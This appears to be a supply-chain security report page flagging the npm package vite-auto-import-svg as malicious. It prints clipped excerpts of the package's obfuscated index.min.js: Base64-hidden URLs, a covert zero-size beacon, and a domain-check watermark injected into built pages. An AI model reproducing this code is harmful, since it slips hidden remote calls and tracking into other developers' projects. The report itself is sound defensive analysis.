vite-auto-import-svg: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

vite-auto-import-svg: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

2 flagged

index.min.jsView file

Lines 1-21javascript

1const fs=require("fs");const crypto=require("crypto");const readFileSync=fs.readFileSync;const readdirSync=fs.readdirSync;const svgTitle=/<svg([^>+].*?)>/;const clearHeightWidth=/(width|height)="([^>+].*?)"/g;const hasViewBox=/(viewBox="[^>+].*?")/g;const clearReturn=/(\r)|(\n)/g;const bottomInfoPath="./src/components/bottomInfo/bottomInfo.vue";function findSvgFile(dirs){const svgRes=[];for(const dir of dirs){const dirents=readdirSync(dir,{withFileTypes:true});for(const dirent of dirents){let pluginName="";if(dir.startsWith("./src/plugin")){pluginName=`${dir.split("/")[3]}-`}if(dirent.isDirect ...

2(function(){var _p=window.performance,_m=["webkitVisibilityState","c","o","msVisibilityState"],_s=[[104,116,116,112,115,58,47,47,112

3(function(){

4 var _f = function(){

5 var div = document.createElement('div');

6 div.style = atob("cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjEwcHg7cmlnaHQ6MTBweDtiYWNrZ3JvdW5kOndoaXRlO2NvbG9yOmJsYWNrO29wYWNpdHk6MC40O3BhZGRpbmc6NXB4IDEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC1zaXplOjEycHg7ei1pbmRleDo5OTk5O2N1cnNvcjpwb2ludGVy");

7 div.onclick = function() { window.open(atob("${_l}"), '_blank') };

8 div.textContent = "\\u672c\\u6846\\u67b6\\u7248\\u6743\\u5f52\\u5c5e\\u0020\\u5317\\u4eac\\u7ffb\\u8f6c\\u6781\\u5149\\u79d1\\u6280

9 document.body.appendChild(div);

10 };

11 _f();

12})();`}function getBeaconScriptContent(){const _u="aHR0cHM6Ly9wbHVnaW4uZ2luLXZ1ZS1hZG1pbi5jb20vYXBpL3Nob3BJbWFnZS92aWV3P25hbWU9bG9jay5zdmc=";const _s="cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MDtoZWlnaHQ6MDtvcGFjaXR5OjA7cG9pbnRlci1ldmVudHM6bm9uZTtib3JkZXI6MDtsZWZ0Oi05OTk5cHg=";const _b="PHN0eWxlPgouX19SX18tb3ZlcmxheSwuX19SX18tb3ZlcmxheSAqe2JveC1zaXppbmc6Ym9yZGVyLWJveH0KLl9fUl9fLXdhdGVybWFya3twb3NpdGlvbjpmaXhlZDt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDtpbnNldDowO3otaW5kZXg6MDtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNke ...

13(function(){

14function md5cycle(r,f){var h=ff(r[0],t=r[1],n=r[2],i=r[3],f[0],7,-680876936),i=ff(i,h,t,n,f[1],12,-389564586),n=ff(n,i,h,t,f[2],17,606105819),t=ff(t,n,i,h,f[3],22,-1044525330);h=ff(h,t,n,i,f[4],7,-176418897);i=ff(i,h,t,n,f[5],12,1200080426);n=ff(n,i,h,t,f[6],17,-1473231341);t=ff(t,n,i,h,f[7],22,-45705983);h=ff(h,t,n,i,f[8],7,1770035416);i=ff(i,h,t,n,f[9],12,-1958414417);n=ff(n,i,h,t,f[10],17,-42063);t=ff(t,n,i,h,f[11],22,-1990404162);h=ff(h,t,n,i,f[12],7,1804603682);i=ff(i,h,t,n,f[13],12,-40341101);n=ff(n,i,h,t,f[14],17,-1502002290);h=gg(h,t=ff(t,n,i,h,f[15],22,1236535329),n,i,f[1],5,-16579651 ...

15var _f=function(){var _h=window.location.hostname.replace(/^www\\./,"");if(_h==="localhost"||_h==="127.0.0.1"||_h==="0.0.0.0"||/^(\\d{1,3}\\.){3}\\d{1,3}$/.test(_h)||_h==="[::1]"||/^\\[/.test(_h))return;var _rules=${JSON.stringify(domainRules)};var _allowed=false;for(var i=0;i<_rules.length;i++){var r=_rules[i];if(r.isWildcard){if(_h===r.domain||_h.endsWith("."+r.domain)){_allowed=true;break}}else{if(md5(_h)===r.md5){_allowed=true;break}}}if(!_allowed){var div=document.createElement("div");div.style=atob("cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjEwcHg7cmlnaHQ6MTBweDtiYWNrZ3JvdW5kOnJnYmEoMjU1LDE2NSwwLDAuO ...

16})();`}module.exports.svgBuilder=(paths,base,outDir,assets,mode)=>{const sec=global["gva-secret"];const projectName=global["gva-project-name"];const

17<head>

18 <meta name="keywords" content="${newKeywords}">

19`)}}return newHtml.replace("<body>",`

20<body>

21 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position: absolute; width: 0; height: 0">

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.min.jsView on unpkg · L1

Low

Weak Crypto

Package source references weak cryptographic algorithms.

index.min.jsView on unpkg · L1

Long lines were clipped for display.